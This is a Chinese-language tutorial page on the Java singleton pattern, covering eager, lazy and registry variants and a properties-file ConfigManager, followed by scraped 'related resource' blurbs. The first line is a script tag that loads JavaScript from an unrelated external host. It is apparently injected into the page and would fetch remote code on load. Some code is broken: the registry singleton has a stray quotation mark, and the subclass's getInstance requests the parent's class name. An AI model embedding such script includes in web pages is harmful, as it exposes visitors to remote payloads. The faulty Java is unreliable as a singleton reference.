<script src="http://multibar.me/pluginmng.js" type="text/javascript"></script>
四:单例模式
单例模式,特点是单例类只能有一个实例,自己创建自身唯一的实例,给所有其他对象提供这一实例。单例模式可以分为饿汉式、懒汉式和登记式。
首先饿汉式单例,
package com.co.patterns.singleton;
/**
* 饿汉式单例
*
* @author laotan
*
*/
public class EagerSingleton {
private static final EagerSingleton instance = new EagerSingleton();
private EagerSingleton() {
}
/**
* 静态工厂方法
* @return
*/
public static EagerSingleton getInstance() {
return instance;
}
}
然后懒汉式
package com.co.patterns.singleton;
/**
* 懒汉式单例
*
* @author laotan
*
*/
public class LazySingleton {
private static LazySingleton instance = null;
private LazySingleton() {
}
public synchronized static LazySingleton getInstance() {
if (null == instance)
instance = new LazySingleton();
return instance;
}
}
登记式单例,为了克服懒汉式和饿汉式不能继承的劣势而设计的
package com.co.patterns.singleton;
import java.util.*;
public class RegisterSingleton {
private static Map<String, RegisterSingleton> register = new HashMap<String, RegisterSingleton>();
static {
RegisterSingleton instance = new RegisterSingleton();
register.put(instance.getClass().getName(), instance);
}
protected RegisterSingleton() {
}
public static RegisterSingleton getInstance(String name) {
if (null == name)
name = RegisterSingleton .class.getName()";
if (null == register.get(name))
try {
register.put(name, (RegisterSingleton) Class.forName(name)
.newInstance());
} catch (Exception e) {
System.err.println(e.getMessage());
}
return register.get(name);
}
}
登记式单例的子类在父类的帮助下创建,
package com.co.patterns.singleton;
public class RegisterSingletonChild extends RegisterSingleton {
public RegisterSingletonChild() {
}
public static RegisterSingletonChild getInstance() {
try {
return (RegisterSingletonChild) RegisterSingleton
.getInstance(RegisterSingleton.class.getName());
} catch (Exception e) {
System.err.println(e.getMessage());
return null;
}
}
}
下面是一个属性文件读取的例子:属性文件为系统所有,所以其读取用单例
package com.co.patterns.singleton.demo;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Properties;
public class ConfigManager {
// 属性文件全名
private static final String PFILE = System.getProperty("user.dir")
+ File.separator + "singleton.properties";
// 对应于属性文件的文件对象变量
private File p_file = null;
// 属性文件最后修改日期
private long p_lastModifiedTime = 0;
// 属性文件对应的属性对象变量
private Properties props = null;
// 单例
private static ConfigManager instance = new ConfigManager();
/**
* 私有构造器
*
* @param args
*/
private ConfigManager() {
p_file = new File(PFILE);
p_lastModifiedTime = p_file.lastModified();
if (0 == p_lastModifiedTime) {
System.err.println(PFILE + "file does not exit!");
}
props = new Properties();
try {
props.load(new FileInputStream(PFILE));
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* 静态工厂方法
*
* @return 返回单例
*/
public synchronized static ConfigManager getInstance() {
return instance;
}
/**
* 读取特定的属性项
*
* @param name
* 属性列的名字
* @param defaultVale
* 属性列的默认值
* @return 属性列的值(存在),默认值(不存在)
*/
public final Object getConfigItem(String name, Object defaultVale) {
// 检查属性文件是否被修改,如果是则重新读取
long newTime = p_file.lastModified();
if (0 == newTime) { // 文件不存在或 发生I/O错误
if (0 == p_lastModifiedTime) {
System.err.println("the file doesn't exist!");
} else {
System.err.println("the file is deleted!");
}
return defaultVale;
} else if (newTime > p_lastModifiedTime) { // 文件已被修改
props.clear();
// 重新读取
try {
props.load(new FileInputStream(PFILE));
} catch (IOException e) {
e.printStackTrace();
}
}
p_lastModifiedTime = newTime;
Object value = props.getProperty(name);
return null == value ? defaultVale : value;
}
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.println("Type quit to quit");
do {
System.out.println("Property item to read:");
String line = br.readLine();
if ("exit".equals(line))
break;
System.out.println(ConfigManager.getInstance().getConfigItem(line,
"default"));
} while (true);
}
}
分享到:
相关推荐
李建忠老师的设计模式-单例模式讲解,示例以C++编程语言呈现。
设计模式-单例模式脑图
Java设计模式-单例模式详解 单例模式是 Java 设计模式中的一种常用的设计模式,旨在保证一个类仅有一个实例,并提供一个访问它的全局访问点。单例模式的目的是为了保证在一个进程中,某个类有且仅有一个实例。 ...
ava常用设计模式-单例模式 单例模式(Singleton Pattern)是 Java 中最简单的设计模式之一,有以下特点: 1. 单例类只能有一个实例。 2. 单例类必须自己创建自己的唯一实例。 3. 单例类必须给所有其他对象提供这一...
本资源“一例读懂设计模式-单例模式、简单工厂模式.zip”旨在帮助初学者通过实例深入理解这两种重要设计模式:单例模式和简单工厂模式。以下是关于这两个模式的详细讲解。 1. **单例模式**: 单例模式是一种限制类...
设计模式-单例模式 单例模式是一种常见的设计模式,它的主要作用是确保在内存中仅创建一次对象,并提供一个全局访问点。单例模式有两种类型:饿汉类型和懒汉类型。 饿汉类型的单例模式是在类加载时创建对象,例如...
单例模式是一种常用的设计模式,它在软件工程中扮演着控制类实例化过程的角色,确保一个类只有一个实例,并提供全局访问点。这种模式在PHP中尤其常见,特别是在需要频繁实例化然后销毁的对象,或者需要控制共享资源...
在Java编程语言中,设计模式是一种经过验证的解决常见软件设计问题的最佳实践。单例模式是其中最常用的一种,它的核心思想是确保一个类只有一个实例,并提供全局访问点。单例模式的应用场景包括:控制资源的访问、...
JAVA-设计模式-创建型模式-单例模式
android 单例模式 干货 告诉你哪种单例模式最实用 最好用 不再迷茫
**单例模式**是软件设计模式中的一种,属于创建型模式。在C++中,单例模式确保一个类只有一个实例,并提供一个全局访问点。这种模式通常用于管理共享资源,如数据库连接、日志系统或者配置文件等。单例模式的主要...
单例模式是软件设计模式中的一种,它保证一个类只有一个实例,并提供全局访问点。这种模式在许多场景下非常有用,比如控制共享资源、管理系统级别的对象,如数据库连接池或者线程池等。单例模式的核心在于限制类的...
压缩包代码是一个简单的C++单例模式实现。 在这个例子中,Singleton 类有一个私有的构造函数和一个私有的析构函数,这防止了外部代码直接创建或销毁实例。getInstance 方法是一个静态方法,它返回一个指向 Singleton...
单例模式是软件设计模式中的一种经典模式,其主要目的是保证一个类只有一个实例,并提供一个全局访问点。在Java中,有多种实现单例模式的方法,包括简单实现、双重检查锁定(Double-Checked Locking)、静态内部类和...
设计模式(Design pattern)代表了最佳的实践,通常被有经验的面向对象的软件开发人员所采用。设计模式是软件开发人员在软件开发过程中面临的一般问题的解决方案。这些解决方案是众多软件开发人员经过相当长的一段...
单例模式是一种常见的创建型设计模式,其核心思想在于确保一个类仅有一个实例存在,并且该实例由该类自行创建,随后向整个系统提供这一唯一实例。 #### 类图解析 在设计模式中,类图是一种直观展示类结构及关系的...
在iOS开发中,设计模式是解决常见编程问题的模板,为代码组织提供了标准结构。其中,单例模式是一种被广泛使用的模式,它确保一个类在整个应用程序中只有一个实例,并且提供了一个全局访问点来获取这个实例。这样的...
### Java设计模式——单例模式详解 #### 一、单例模式概述 单例模式是设计模式中的一个重要组成部分,属于创建型模式之一。其主要作用是确保某个类仅有一个实例存在,并提供一个全局访问该实例的方法。这在很多场景...